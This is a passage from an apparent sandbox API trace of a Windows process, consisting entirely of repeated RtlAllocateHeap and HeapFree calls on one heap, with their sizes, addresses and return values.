(in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0117.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.686] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.686] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.686] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.686] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.686] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.686] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.686] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.686] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.686] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.686] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.686] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.686] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.686] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.686] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.687] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.687] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.687] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.687] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.687] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.687] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.687] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.687] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.687] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.687] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.687] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.687] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.687] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.687] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.687] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.689] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.689] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.689] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.689] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.689] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.689] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.689] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.689] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.689] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.689] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.689] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.689] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.689] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.689] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.690] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.690] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.690] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.690] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.690] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.690] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.690] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.690] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.690] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.690] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.690] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.690] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.690] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.690] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.691] 